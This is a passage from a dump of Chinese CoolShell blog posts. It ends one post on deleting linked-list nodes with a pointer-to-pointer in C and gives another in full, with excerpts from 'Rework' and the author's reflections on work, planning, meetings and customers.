head;\n}\n```\n\n这里remove\\_fn由调用查提供的一个是否删除当前实体结点的函数指针，其会判断删除条件是否成立。这段代码维护了两个节点指针prev和curr，**标准的教科书写法——删除当前结点时，需要一个previous的指针，并且还要这里还需要做一个边界条件的判断——curr是否为链表头**。于是，要删除一个节点（不是表头），只要将前一个节点的next指向当前节点的next指向的对象，即下一个节点（即：prev->next = curr->next），然后释放当前节点。\n\n\n但在Linus看来，这是不懂指针的人的做法。那么，什么是core low-level coding呢？那就是**有效地利用二级指针，将其作为管理和操作链表的首要选项。**代码如下：\n\n\n\n```\nvoid remove_if(node ** head, remove_fn rm)\n{\n    for (node** curr = head; *curr; )\n    {\n        node * entry = *curr;\n        if (rm(entry))\n        {\n            *curr = entry->next;\n            free(entry);\n        }\n        else\n            curr = &entry->next;\n    }\n}\n```\n\n同上一段代码有何改进呢？我们看到：**不需要prev指针了，也不需要再去判断是否为链表头了，但是，curr变成了一个指向指针的指针**。这正是这段程序的精妙之处。（注意，我所highlight的那三行代码）\n\n\n让我们来人肉跑一下这个代码，对于——\n\n\n* **删除节点是表头**的情况，输入参数中传入head的二级指针，在for循环里将其初始化curr，然后entry就是\\*head(\\*curr)，我们马上删除它，那么第8行就等效于\\*head = (\\*head)->next，就是删除表头的实现。\n\n\n* **删除节点不是表头**的情况，对于上面的代码，我们可以看到——\n\n\n**1）**（第12行）**如果不删除当前结点 —— curr保存的是当前结点next指针的地址**。\n\n\n**2）（第5行） entry 保存了 \\*curr **——**这意味着在下一次循环：entry就是prev->next指针所指向的内存。**\n\n\n**3）（第8行）删除结点：\\*curr = entry->next; —— 于是：prev->next 指向了 entry -> next;**\n\n\n是不是很巧妙？我们可以只用一个二级指针来操作链表，对所有节点都一样。\n\n\n如果你对上面的代码和描述理解上有困难的话，你可以看看下图的示意：\n\n\n![](../wp-content/uploads/2013/02/linus_pointer_to_pointer.jpg)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/9917.html)[Alan Cox：大教堂、市集与市议会](https://coolshell.cn/articles/9917.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/8088.html)[对技术的态度](https://coolshell.cn/articles/8088.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\nThe post [Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2013-3-11 《Rework》摘录及感想.md",
    "content": "---\nlayout: post\ntitle: 《Rework》摘录及感想\ndate: 2013/3/11/ 0:25:34\nupdated: 2013/3/11/ 0:25:34\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2013/03/rework.jpg)读了《Rework》这本书好多遍，每次读都有不同的感想。但从来没有把这些感想记录下来，今天把《Rework》书中的一些章节做一些摘录，并把我的一些感想总结出来。供大家参考。这是一本平生以来让我中毒很深的书，也是一本让我思考得很多的书。希望看到这篇文章的人都能好好地读读这本书。这本书并不难读，是一本你可以一口气不中断就可以读完的书。\n\n\n#### 现实世界\n\n\n“这在现实世界里面行不通”，当你向人们介绍一个新创意时，人们总是这么回答你。这个“现实世界”听起来如此令人沮丧，……只有人耳熟能详，习以为常的事情才会胜利，即使是这些事情已经漏洞百出陈腐低效。\n\n\n揭开“现实世界”这个锅盖，你会发现居住在里的人都充斥着悲观主义和失望的情绪。更糟的是，他们想将别人拖进他们的坟墓。如果你是充满希望和野心的人，他们会试着说服你，你的想法是不可能的。他们会说你在浪费时间。\n\n\n**“现实世界”并不存在，那只是人的一个借口。只是某些人为了开脱 自己的无所作为，跟你一点关系也没有。**\n\n\n\n> **感想**：我经常会向一同事和朋友提及一些我的想法，朋友同事们经常会回答我——这个事某某人，某某团队做过了，没成功。或是对我说，你做这个事的时候，要小心这个要小心那个。我觉得，这个时候是最考验我们的时候了，要有一个清醒的头脑去分析别人的话，别人真不代表自己。这个世界上大多数人都是比较保守的，大多数都对这个现实世界都有或多或少的恐惧感。当然，你可以选择做大众，但是如果你想让你的人生有些不同，有些精彩，我还是建议你不要和大多数人想得一样，**如果你和大多数人的想法一样，你必然会和大多数人一样的平庸**。当然，如果你和大多数人不一样，你要么就是天才，要么就是傻瓜。要证明你自己是不是傻瓜，我们可以看看我们过去有没有过一些小成功或小成绩。如果有，那么就应该大胆地坚持自己的想法。\n> \n> \n\n\n#### 被高估的“从错误中学习”\n\n\n你真的从错误和失败里面学到什么了吗？你也许学到了别再重蹈覆辙，但是这有什么意义吗？你仍然不知道接下来该做什么。\n\n\n\n**相反的应该从成功中汲取养分。成功給予真正靠得住的教材。**\n\n\n失败并不是成功的先决条件。自然规律是，**逗留在过去的失败中是无法进化的，进化是建立在成功的基础上的**。\n\n\n\n> **感想**：我见过和很多人都在抱怨这不好那不好，但是他们其实并不知道什么是好的，因为——没有见过好的，你将永远不知道什么是好的。就好像你没有见过什么是汽车，你就只会整天在抱怨为什么骑自行车太累。回头想想我们的编程的这个过程也是一样，我们编程技能的提高基本上都是在看到别人的那些漂亮优雅的代码。所以，你一定要去看看那些优秀人干是怎么想的，怎么干的，去那些成功的公司开开眼界。另外，你应该多想想你过去做成功过什么事？那些才是你的长处，才是让你进化的前提。\n> \n> \n\n\n#### 计划就是瞎猜\n\n\n除非你是算命先生，长期的商业计划是种幻想。有太多的事实证明那是超出你的掌控的：市场环境、对手、顾客、经济等等。做计划让你觉得一切尽在掌握但实际上你没有。\n\n\n**当你把计划变成猜测时，就等于进入一个危险的境地。做计划就是在用过去推导未来，等于给你戴上了眼罩。**\n\n\n\n> **感想**：你有职业规划吗？如果你有的话，那么你就一定就错了。职业规划是一件很扯淡的事情。我和一些高手都交流过，其实这些人在当初都并不有什么职业规划的，要说有的话，也就是想把技术搞透搞精。这些人在一开始从来没有想过要当个什么经理或是什么架构师之类的东西，这些人就是对技术有非常大的热情，把身边的那些看得见够得着的事情做到好好地，并且保持不持续强大的好奇心努力地学习自己不懂的东西。一个坚定不移的决定和意志力会比任何的计划和职业规划都重要。**你问问自己，想不想当程序员，能不能一辈子都当一个程序员，能不能写程序写一辈子？**（关于做一辈子程序员这个事，大家可以看看我的[新浪微博](http://weibo.com/1401880315/zmebaF5tQ) ——*没哪个行业能像计算机行业这么活跃、刺激和有趣了。不仅是新兴工业革命的主力，又渗入到所有的行业中，干一辈子值了。//[@\\_你亲爱的偏执狂](http://weibo.com/n/_%E4%BD%A0%E4%BA%B2%E7%88%B1%E7%9A%84%E5%81%8F%E6%89%A7%E7%8B%82): 程序员首先是工程师，Professional，就跟律师，医生一样，给大家解决问题；但是另一面呢，又是艺术家，创造新奇好玩的东西。这样的职业做一辈子有什么问题？*）\n> \n> \n\n\n#### 拒绝壮大\n\n\n规模越大你就得承受更大压力、需要更专业、拥有更强的能力。\n\n\n**有没有注意到，一个小公司希望自己变大时，大公司却想要变得灵活变通**。记住，一旦你变大了就很难在不解雇人、不破坏士气、不改变你的整个商业路线的情况下收缩规模。\n\n\n扩张不必成为你的目标。我们也不是仅在讨论你已有员工数。 还有花费、租金、IT 基础结构、设备等。这些事情不会碰巧发生。 你来决定是否承受这些。如果你决定去承受，你也将遇到新的头痛问题。花费那么多，你强迫自己构建一个复杂的生意，有一大堆困难而高压的事情要解决。\n\n\n**小公司并不是一个起步，小公司本身就是一个伟大的目标。**\n\n\n\n> **感想**：很多人都会以为拥有一支成百上千人的团队而成为一个成功的标志。就像很多朋友和猎头都会问我管多少人，当我说，我就管个十人不到的团队时，他们似乎都会觉得我很平庸。他们中的一些人基本上就不会再问我在干些什么了，因为他们可能觉得这么少的人都干什么大事呢？。当然，我说了他们也不一定听得懂。人多可能恰恰说明你可能在干一个劳动密集型的事情，这并没有什么可自豪的。真正自豪的不是在战争中用人海战术让大量的人去当炮灰，而是用一个小分队端掉敌军的军火库或指挥部。所以，**关键不是你有多少人，关键是你做的事是不是有非凡的意义，而且你用了最小当量的资源。这就好像建立一个高性能的网站一样，用成百上千的服务器不算本事，谁用的少才是本事**。\n> \n> \n\n\n#### 工作狂\n\n\n工作狂的行为不但没有必要，而且愚蠢至极。过多的工作并不代表你对项目更关注，也不代表你作了更多的贡献，这仅仅意味着你干了更多的活而已。**工作狂制造的麻烦比解决的麻烦多**。\n\n\n工作狂往往不得要领。他们花大把大把的时间去解决问题，**他们以为能靠蛮力来弥补思维上的惰性，其结果就是折腾出一堆粗糙无用的解决方案**。\n\n\n**如果你只是为了工作而工作，那么你就会丧失判断力。你的价值 观和决策方式都是扭曲**。你没有能力去判断哪些工作值得做，哪些工作该放弃，最后搞得自己筋疲力尽，而一个筋疲力尽的人是无法作出明智的决定的。\n\n\n**工作狂不是英雄。他们不是在节约时间而是在浪费生命。真正的英雄早已想出了办法，搞定一切，然后回家了。**\n\n\n\n> **感想**：这让我想到了那些为了冲业绩的业绩KPI的制订者们，很多时候，他们的价值观和决策真是的很扭曲的。他们生生地把一种技术密集型的工作变成了劳动密集型。**他们其实就是在拼命地训练客户需要的那匹“更快的马”，而从来没有想过要去造个更快的交通工具。**\n> \n> \n> 另外，每当我在优秀员工的评比和员工的绩效考核中的跨团队比较中我们能听到很多很多的人说，XX员工工作任劳任愿，工作得很晚很晚，付出很大。老实说，我真的为这样的价值观感到悲哀。最后，我还想说说关于超时工作，我也经常学习和做自己的事情到深夜，我相信很多人也这样，但我们应该认真思考一下Rework中的这个观点，**我们超时工作是在使用蛮力呢？还是在使用热情和兴趣呢？**\n> \n> \n\n\n#### 挠自己的痒处\n\n\n想要创造一款伟大的产品或者是某项卓越的服务，最直接、最简单的方法就是去做你自己想用的东西。设计你了解的产品——你就能很快发现它到到底好不好用。\n\n\n**最棒的是，“解决你实际遇到的问题”会让你爱上你做的事情**。 你知道问题所在并且熟知解决它的价值。这是无法替代的。毕竟，你会充满希望的在接下来的日子里继续做。 甚至会占据你余生所有时间。所以，最好还是做自己真正关心的东西。\n\n\n\n> **感想**：这就是吃自己的狗食，做自己感兴趣的事。软件项目中，我最恨的就是那种闭门造车造出来的自己都不用的东西（不是从已有业务生长出来的东西），以及那些自己不动手就在边上指指点点的各种咨询师或是喜欢动用行政命令的高层管理者。\n> \n> \n> 但是，在这里，我更想说说我所理解的另一层“挠自己痒处”——有天我和一前前同事聊天，她说她在那家公司十多年了，现在老了，虽然心不老还想折腾，但是对自己的能力没自信，求稳了。我听到很多朋友想对自己有个改变，比如有QA的同学想做开发，有生活在内地的朋友想来大城市的大公司里有更爽的经历，**这些人明明想活得更有激情，但最终在现实面前认命妥协。我说既然有痒处，还比较痒，那就应该毫不犹豫革自己的命，轰轰烈烈地活一次**。别等老了后悔当年没有勇气。“挠自己痒处”就是挑战自己，革自己的命，既然想了，就做吧，生命只有一次，值得我们轰轰烈烈地去为之付出。\n> \n> \n\n\n#### “没时间”不是借口\n\n\n人们最常用的借口是：“时间不够。”他们宣称很想开一家公司，学一种乐器，写一本书，等等，但时间不够用。拜托，如果你善加利用，时间总是有的。\n\n\n把看电视或玩魔兽的时间腾出来完成你的创意；把10点上订改成11点上床，这不是怂恿你通宵达旦或是一天干足16个小时——我们要说的是，第周匀出一些业余时间来，就足够你去做些事情了。\n\n\n当你拥有某种强烈的渴望时，你就能挤出时间来——不管你身上是否背负着其他责任。**事实上，真相是大多数的渴望并不是那么强烈。于是他们拿时间当借口来自我开脱。别给自己错口。**\n\n\n另外，永远会有正当其时的时候，你总会觉得自己会么太年轻，要么太老，要么太忙，太穷，或是别的什么原因。**如果你总是为遇到一个完美时机而发愁，那么，完美的时机绝对不会到来**。\n\n\n\n> **感想**：我在“[挑战无处不在](https://coolshell.cn/articles/7048.html \"挑战无处不在 \")”中也表达过这样的观点，**关于热情和态度，说白了就是不要给自己找借口**。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。而且，如果你只能在万事俱备的情况下才能做事，那么，你还有什么价值呢？人的价值和竞争力就是在条件并不完美的时候还能搞定事情。\n> \n> \n\n\n#### 画沙为界，立场明确\n\n\n坚定的信念能为你赢得超级粉丝，他们会为你马首是瞻，会舍身保护你，他们充满激情的口碑传播将胜过这世间一切的广告。\n\n\n强大的主见，也是要付出代价的，在这个过程中，会有人诋毁你，说像傲慢，冷漠。没办法，这就是人生，有人喜欢你，就有人憎恨你。如果你的说法没有引起任何人的心烦意乱，只能说明你的推广力度可能还不够。（也可能代表你比较无趣）\n\n\n**对我们来说，我们的产品所不能处理的和我们的产品所能处理的一样令人感到骄傲**。\n\n\n我们的产品不适合每一个人，没有关系，我们愿意为了那些更加深爱我们的客户而放弃另一部分客户。这就是我们的立场。\n\n\n\n> **感想**：我从来不想做一个大众脸。酷壳上有很多比较有争议的文章，也有很多人说我很极端，偏执，有优越感，清高……，说什么的都有，无所谓。我有一个做新闻编辑的太太，主辑要求文章要客观和没有观点，不温不火，本来好好的一篇有观点的文章被编辑过后只剩下了一堆食之无味的文字。**我喜欢有鲜明的观点，因为鲜明的观点和立场能不但能让文章鲜活起来，而且还能迎来更多的不同意见和更多的思考**（而不只是“顶”“赞”之类无意义的回复）。我并不希望我的观点是正确的，我只希望能和更多的人加入我一同思考，而思考最佳的催化剂就是争论。我从这个行为中收益到了很多很多。\n> \n> \n\n\n#### 找好退路无异于失败\n\n\n你还常常听到：“你的退出战略是什么？（万一不成功，你怎么办）”甚至在你刚开始启动时就听到它。这些人不知道怎么开始就要想到怎么结束？急什么呢？如果在全情投入之前就想怎么撤出，这种逻辑不是一般的混乱。\n\n\n你正打算恋爱一场就计划着分手？你在第一次约会时就签订婚前协议？你会在婚礼早上先约见离婚律师？那也太荒谬了吧。\n\n\n**你需要的是承诺战略而不是退出战略。你要考虑的是你的项目怎样发展和成功，而不是怎样撤退**。如果整个战略是基于撤退的，一开始你就不会有机会成功。\n\n\n\n> **感想**：几年前，我有一个朋友被创新工场忽悠从美国退学回来创业，我非常质疑他退学创业这个事。他对我说，没事，反正就算失败我也不会失去什么。还有一个朋友一年前从美国回国创业，也对我说，就算没搞好也没什么。我都对他们说，如果你以为用试一试的态度就可以把一个事情搞成功，那么你让这世上那些Full Time全天候从事这个事情的并有一些积累的人情何以堪？如果你创业时都想好了失败，那就说你你对这个事没有必胜的信心，也说明连你自己都不相信这个事，你还干个什么劲啊？**你与其把时间用在思考如果创业没成功你会怎么办上，你还如去思考一下如何做才有更大的胜算**。\n> \n> \n\n\n#### 条件受限是好事\n\n\n“我没有足够的时间、钱、人手、经验”。不要现无谓的抱怨了。“少”不是什么坏事。“条件受限”貌似缺陷，实力优势。有限的资源能激发你在现有的条件下完成任务的能力。没有一点浪费空间，一切都需要你发挥最大的创造力。\n\n\n你见过囚犯用肥皂和汤勺制作武器吗？你们是“创新”的典范。只有在条件受到限制时，我们才会发挥出“小材大用”的能力。\n\n\n\n> **感想**：我相信这世上很多事情都是被条件受限逼过去的。我回想到我以前经常在干的性能调优，想尽一切办法榨干系统资源这件事上，我就无法不赞同这句话。想想淘宝的TFS，就是一个因为条件受限到了不得不自己干的时候，被逼出来的东西。如果你没有足够多的人，你才会去想要怎么去优化工作和开发效率，于是才会逼着你去开发一些自动化的工具，而这些工具恰恰解放了生产力可以让你更快地干更多的事。**只有条件受限，才会从劳动密集型中激发出知识密集型的东西**。再回到以前我的那篇“[是否需要专职的QA](https://coolshell.cn/articles/6994.html \"我们需要专职的QA吗？\")”一文说的到东西，如果你有很多很多帮你做测试的QA，你就不会去测试，你的团队也就不会有自动化测试等工具。这就好像在中国这个劳动力又多又廉价的大国下，基本上不需要你在技术上的创新，你只需要去不断地迁就这些低端用户，迁就这些用户越多，你还能有什么重大创新吗？真正的创新是帮助用户成长，而不是迁就用户。\n> \n> \n\n\n#### 与其做个半成品，不如做好半个产品\n\n\n同时做N件事的结果就是：一大把绝妙的点子最后被转化成一个蹩脚的产品。\n\n\n有舍才有得，砍掉多余的野心，你就会发现慢慢做一件正事要胜过毛毛躁躁地做一堆傻事。\n\n\n很多东西都是越简短越好。拿起斧子动手砍吧，为了一个“伟 大”的起点，让我们把那些“挺不错”地枝节给砍掉吧。\n\n\n\n> **感想**：这正如“[为什么中国的网页设计这么烂](https://coolshell.cn/articles/3605.html \"为什么中国的网页设计那么烂？\")”中说的：“中国的学生只是去记忆东西而不是真正的理解。他们从来不花时间去思考，而只是贪婪地去获取更多的信息”。与其记忆那么多的东西，还不如好好理解部分的东西。还有一种说法是：“Done is better than Perfect!”，这句话某些时候说得也挺对的，尤其是对于那些完美地长期不能Done的项目。但是Done一个Ugly的东西还不如不做。所以平衡Done和Perfect的方式正好就是这句话——“与其做个半成品，不好做好半个产品”，因为，**一个半成品会让人绝望，而半个好产品会让人有所期望，这就是其中的不同**。\n> \n> \n\n\n#### 关注不变因素\n\n\n**很多公司和人都关注即将到来的大事件。他们热衷于新鲜热辣的事物，追逐最新的潮流和技术**。\n\n\n这是一条愚笨之路。一旦走上这条路，你就会关注时髦、放弃本质，把注意力放到不断变化的事物上，而不是持久不变的事物上。\n\n\n你的事业的核心应该建立在不变的基础之上。**你应该投资于那些人们现在需要，并且十年后仍然需要的事物上**。\n\n\n要记住，时尚会凋零。只有当你聚焦于长久的功能时，你才会发现自己把握住了永不落伍的东西。\n\n\n\n> **感想**：一年多前，我在《[来信、创业和移动互联网](https://coolshell.cn/articles/5815.html)》中谈到过那个时尚的“移动互联网”，说了四个方向：阅读，分享交流，电商，推荐/提醒。大家可以看到现在地铁上已经不像以前很多人都在看报纸了，而是很多人都在看手机。而手机端的社交（分享和交流），电子商务，以及很多推荐、提醒都越来越火了。这些东西都是都是“常量”——十年前存在，未来十年也会存在，我们看到很多人太过着眼于手机上的应用，而不是那些不变的因素。今天还有两个巨火无比的流行词，一个是云计算，一个是大数据，那些一听到这两个词就会兴奋的人，我不知道他们有没有真正理解这两词？他们真正理解了云计算其实就是那个N多年前就提过的IT服务，关于大数据，我完全不知道为什么会火，你会因为听到中国人口有13亿你就会兴奋吗？老鼠的数量比较这个更多呢，呵呵。其实，数据无所谓大小之分，只有好数据和烂数据之分，还热数据和冷数据之分。十年前有两个更为流行的词：一个是计算网格，一个是数据网格，这两个词5年前就凋零了，今天的云计算和大数据，有多少人意识到了其中有什么相通的，或是其中的不变因素是什么？**大数据和云计算其实都在描述两个东西，一个是超大规模的计算能力，另一个则是服务。还有一个词是“平台化”，这可能被大家忽略了，通过平台进行计算和数据服务，这才是那计算机存在以来基本不变的东西，无论你是移动互联网，还是互联网，不管是云计算，还是大数据，都需要一个平台提供服务**。\n> \n> \n\n\n#### 会议有毒\n\n\n世人最可恨的打扰莫过于开会。原因是：\n\n\n* 会议中充斥着纸上谈兵和抽象的概念，大多是不切实际的。\n* 会议中能传达的信息量少之又少。\n* 人们在会议中容易跑题，堪比暴风雪里的芝加哥出租车还容易迷失方向。\n* 会议要求做充分的准备，但是大多数人没有时间准备这些。\n* 会议制定的议程常常是模糊的，根本就没有人真正清楚目标是什么。\n* 会议中难免会轮到那么一两个低能人士发言，于是大家的时间都浪费在他们的扯淡上了。\n* 会议具有自我繁殖功能。一次会议总能导致另外一次，以及再导出下一次，生生不息……\n\n\n\n> **感想**：这世上除了“他爹的TDD”开发模式，还有“他妈的TMD”开发，就是Team Meeting Driven，很多公司有太多太多的会要开了，开会基本上成了每天工作最主要的东西，对于一些管理者来说一星期中居然有80%时间都在开会。其实，这么多的会议并不意味着你在管理，只是意味着你对要管的东西完全不知道，需要通过开会来了解。很多会完全是没有议题的，大家坐在一起东拉西扯，非常非常地低效。我通常把这种会叫做“神仙会”，用个流行语来说，就是Cloud Meeting，大家神一要的各说各的，似乎，没有这种形式，不能证明参会者的存在，用会议来证明他们的存在，相当的可笑。对我来说，**如果只是带一个或几个问题来开会，简直是就是扯谈，如果对于问题没有几个备选的解决方案和各方案的评估，完全没有必要开会**。Amazon的会议是不会有PPT的，会议组织者会要要讨论的东西写好并打印出来，在会前给参会者把要讨论的东西打印出来，开会前10分钟左右，会场里没有任何声音，每个人都在读文档，全部人读完后，直接对议题发表自己的个人意见应该怎么干，然后很快形成共识，散会。\n> \n> \n\n\n#### 人人都得干活\n\n\n在一个小团队里，你需要的是干活的人，而不是监工。每个人都得做事，没有人可以袖手旁观 。\n\n\n这意味着你在招聘中要避免招到监工型的人物，这些人喜欢对别人谆谆教导。对于小团队来讲监工型的人就是累赘。\n\n\n监工们还喜欢把人拖去开会。实际上，会议是监工们最好的朋友，因为只有在开会时才显得出他们的重要。\n\n\n\n> **感想**：**为什么会有办公室政治，那就是因为这个公司里有一部分人不干活，不做事，**于是，他们就有大量地时间开始胡思乱想，他们花大量的时间不是想怎么去做事，而是想自己怎么更容易的打垮别人得到上面的认可，从而得到晋升。在大公司中这样的情况会比Startup的公司多得多。所以，如果你不想滋生办公室政治，那么你需要干两个事，第一个是最好不要变成大公司，第一个是让每个人都在实干。我最近看到其大公司，虽然很多东西不规范，而且很多东西在野蛮生长，有些事情也有点土，但绝大多数人都在实干，所以，只要每个人都在实干，就算干的方式不好，干出来的东西有问题，也比那些滋生办公室政治的公司强上几百倍\n> \n> \n\n\n#### 拒绝照搬 & 将你的产品去商品化\n\n\n有时候，照猫画虎也是一种学习过程，就好像艺术系的学生通过临摹美术馆的作品来学习绘画。当你还是一个学生时，这种模仿是一种很有效的学习工具。不幸的是，商业战场上的模仿却不招人待见。而这也意味着你打算通过当盲从者或抄袭者的方式来建立你的事业，这注定是一个失败模式。\n\n\n模仿的问题在于，简单的复制扼杀了深层的理解——而理解才能激发成长。你不但要知其然，还要知其所以然。而当你复制时，你会忽视这一点。你照搬的只是表面，而不是本质。\n\n\n一旦你扬名立万，模模仿者会蜂拥而至，这就是生活。但你可以用一种绝佳的方式来保护自己不被 他们吞没：让你自己成为你的产品或服务的一部分。\n\n\n\n> **感想**：在《[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html \"抄袭，腾讯 和 产品\")》中我谈到过这个事情，虽然我对抄袭和山寨很反感，但是我不得不承认这是这个世界的一部分，好的东西总是会被人复制的，这也不一定是一个坏事，这会让你更清楚认识到什么是真正产品的价值，什么是核心竞争力，你但凡有一点急功近利的想法你都要想一想那堆抄袭者，其中还不乏有钱有人的专业抄袭的公司。而面对被抄袭这样的事情，最好的解决方法是着眼着远期而不是短期——**如果你着眼短期，你无疑会面对众多的抄袭和模仿者让你万劫不复，但是，如果你着眼长期，做一个3-5年需要花费大量精力才会成熟的产品，那么，那些急功近利的抄袭者会知难而退的，因为长期并不符合抄袭者的价值观**。\n> \n> \n\n\n#### 做得比对手少\n\n\n传统智慧告诉我们，要想打败竞争者就要胜人一筹。如果人家有 4 个功能，你就得 5 个（或者 15 个，25 个）。如果人家花了$20,000，你就得花 $30,000。如果人家有 50 个员工，你就得要 100 个。\n\n\n这样的冷战式的攀比思维会把人引上绝路。一旦被卷入“军备竞赛”，你就陷入了一场无止境的战争，这场战争会让你耗费大量的金钱、时间和动力。并且使你陷入长期的防御战中。处于防御状态的公司是没有预见力的；他们只能后知后觉，他们无法领跑，只能尾随。\n\n\n那么你应该怎么做呢？比你的竞对手做得少，以此来打败他们。**让自己去解决简单的问题，把那些纠结的、麻烦的、艰难的、讨厌的难题留给竞对手去解决**。不要总想着去胜人一筹、去超过别人，试试相反的做法。\n\n\n不要因为你的产品或服务不如别人的花哨就感到自惭形秽。把他们做得醒目高调，并引以为傲。就像对手那些强有力的销售他们多功能的产品一样销售你那简约的产品。\n\n\n\n> **感想**：一个最典型的例子就是iPad，它干得比Laptop少，比上网本少，就是一个很简单的上网和简单游戏的设备，但是他有非常简单的用户体验，让两三岁的儿童和六七十岁的老人都能很快上手。你相信吗？我花了好多年都没教会我父母用电脑以及手机里除了电话功能外的其它功能，但我只花了10分钟就教会他们使用iPad上网了。这就是“做得比对手少”的强大。**只有简约的东西，才会显得更精致，才会显得更专业**。\n> \n> \n\n\n#### 谁在乎他们在干什么\n\n\n不管怎样，终究是不值得过于关注你的竞争者。为什么？因为**关注别人太多会让自己受到困扰**。他们现在在做什么？他们下一步呢？我们该怎样作出回应？\n\n\n每一个小小的动作都会被分析一下。那是一种可怕的心态。这会产生不可抗拒的压力和焦虑。这样的想法会滋长不好的东西。\n\n\n这是没有意义的事情。竞争者的风景时时在变。你的竞争对手明天一个样儿，今天一个样儿。完全在你控制之外。去担心你所不能控制的事情有意义吗？\n\n\n过于关注竞争者会混淆你的视野。当你一直吸收别人思想时， 你的机会则会减少。你变得反动而不是充满想象力。你只不过是将你竞对手的产品换了个包装。\n\n\n如果你打算做一个“the iPod killer”或“the next Pokemon”，你已经死了。你是在承认你的竞争者所设定的参数。你没有跳出 Apple 的套路。他们制定了这个游戏规则。你不可能打败制定规则的那个人。你必须重新制定一个规则，而不是稍微改建一点点。\n\n\n\n> **感想**：这个社会浮躁之处就在于我们太多的观注了别人，人比人气死人。我们很多人都注意到了别人的风光，看到别人创业被注资，看到别人找到了好的工作，看到了别人不走正道而发达，看到了别人很轻松还挣得多，甚至看到别人的粉丝比自己多，等等，等等，这些东西让自己的心态变，变得非常地不淡定了。眼红也是魔鬼，因为眼红让人心理扭曲了的例子还少吗？**不要在乎别人干了什么，你应该多看看自己的长处是什么，每个人都有每个人的路，你要做的是按照自己的节奏和自己擅长的方式行事，而不是小猫钓鱼**。\n> \n> \n\n\n#### 养成对客户说“不”的习惯\n\n\n说“好的”很容易。我们很容易接受同意一个新功能、同意一个过于乐观的截止日期、笑纳一个平庸的设计。很快，一大堆你曾经说“yes”的事情就发生连锁反应，很多你不想要的东西越堆越高，甚至你都看不出原来想要的东西。\n\n\n别相信“顾客永远是对的”这类的话。如果你是一个大厨，你的很多客人说你做的菜太咸或者太烫，你可以改。但是如果有一些挑剔的老主顾要求在宽面条里面加些香蕉，你千万不要理会他们，没关系。若是为了少数顾客的要求而毁了产品不值得。\n\n\n**你的目标是确保你的产品与就是和你合拍的产品，你就是你自己产品最踏实的粉丝。你是最信赖它的那个人**。那样的话，你会说：“我想你也会爱它的，因为我爱它。”\n\n\n\n> **感想**：亨利福特说过：“如果我要问我的客户要什么，他们会告诉我他们要一匹更快的马”，所以，过份的迁就用户并不是一件好的事，相反会是一件很不好的事。互联网和电视节目一样都有一个万恶的KPI，电子节目那万恶的KPI是收视率，而互联网的万恶KPI是流量。于是**很多公司为了流量开始不择手段，就像电视节目用庸俗化来提高收视率一样，我们的一些互联网产品也使用庸俗化的东西来提高流量。我们要做的是一个让人称道的有品质的产品，而不是一个只有访问量的产品**。\n> \n> \n\n\n#### 不要攀客户的高枝\n\n\n也许你曾经见过这样的场景：一个顾客向一家公司投了很多钱。这家公司想要尽可能的取悦那个顾客。为了迎合这个客户的要求而改变自己的产品，渐渐地，你的产品就会脱离普遍客户的基础。\n\n\n而且，突然有一天，这个大客户绝尘而去，公司则会背负一个包袱——这个产品是围绕着一个已经离开了的人设计的。而其他人没法用。\n\n\n人在变，环境在变，你不可能满足所有人的所有要求。**公司要对某一类型的客户全情投入，而不是对某个善变的客户唯唯诺诺**。\n\n\n\n> **感想**：你永远要找到自己的定位，你不可能满足所有的人。就像屌丝们喜欢的北京的动物园批发市场和高富帅们喜欢的北京燕莎商场一样，他们分别定位于不同的用户。你的产品从生下来的那一时刻就应该需要做好定位，是面对什么样的人群。而且，你也不可能实现所有人的需求的。有时候，失去一些客户并不是坏事，**我们要做的是管理我们的客户，让客户认同我们，而不是被客户牵着走**。\n> \n> \n\n\n#### 一夜成名只是传说\n\n\n你不会瞬间大红大紫，也不会一夜暴富，你所了解的那些道听途说的“一夜成名”的故事，深挖一点，你就能发现这些成功人士在到达引爆点之前，都已经在这个方向 上苦熬了很长时间。\n\n\n把一夜成名的迷梦换成一步一个脚印的成长行动吧。道路很艰难，但你必须充满耐心。你得用功去做，在遇到伯乐前，你得努力很长时间。\n\n\n\n> **感想**：这和我在[程序算法与人生选择](https://coolshell.cn/articles/8790.html \"程序算法与人生选择\")一文中所说的那个最短路径的算法的类比一样，与其展望要当什么架构师或是要成为牛人的憧憬，不如把身边看得见够得着的东西学扎实，干出色。一夜成名只是一个传说，你知道酷壳是因为我写十多年的博客，你知道我是因为我积累了十多年的编程，看看酷壳以前介绍过的[王平同学](https://coolshell.cn/articles/5651.html)吧。**很多事情都不是偶然的，都是有前兆的，还是我[以前说过的那句话](https://coolshell.cn/articles/7048.html)，“如果一件事情以前没有发生过，未来也不会发生”，比如：如果你在学校里，在工作里，你的同学和同事并不经常来向你请教询问你的意见，那么你基本上很难成为一个Leader**。\n> \n> \n\n\n#### 